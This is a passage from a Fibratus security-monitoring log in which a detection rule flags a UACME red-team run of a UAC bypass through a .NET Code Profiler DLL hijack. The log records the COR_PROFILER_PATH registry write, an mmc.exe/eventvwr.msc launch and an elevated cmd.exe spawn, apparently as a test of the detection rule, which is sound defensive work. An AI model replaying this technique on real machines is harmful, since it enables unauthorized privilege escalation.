S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:30:15.814846 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 5784 + Ppid: 14372 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT COR_ENABLE_PROFILING:1 COR_PROFILER:{72665527-A54D-4037-BA0A-6B0358C1F0AE} COR_PROFILER_PATH:C:\Users\nedo\AppData\Local\Temp\pe386.dll ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:30:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:30:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:30:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:30:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:30:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:30:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:30:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:30:48+01:00 level=info msg=bootstrapping with pid 17688. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:30:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true min-buffers=>16 enable-thread=>true stack-enrichment=>true enable-mem=>true max-buffers=>36 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-dns=>false enable-handle=>false buffer-size=>512 enable-audit-api=>true enable-registry=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ endpoints=>[] timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false timeout=>5s index-name=>fibratus healthcheck-interval=>10s template-name=>fibratus flush-period=>1s enabled=>false healthcheck-timeout=>5s gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck=>true] amqp=>[ delivery-mode=>transient routing-key=>fibratus exchange-type=>topic vhost=>/ timeout=>5s exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false passive=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] skip-allocs=>false fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:30:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:30:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:30:59+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 72030 + Pid: 9124 + Tid: 6308 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:30:58.199033 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9124 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 72478 + Pid: 17312 + Tid: 2216 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:30:58.8703765 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3eb312000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080076eb1c0, name➜ cmd.exe, pid➜ 10304, ppid➜ 17312, real_ppid➜ 17312, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:30:58.8703264 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 17312 + Ppid: 9124 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:31:07+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 72979 + Pid: 11456 + Tid: 6748 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:31:06.2051994 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 11456 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program 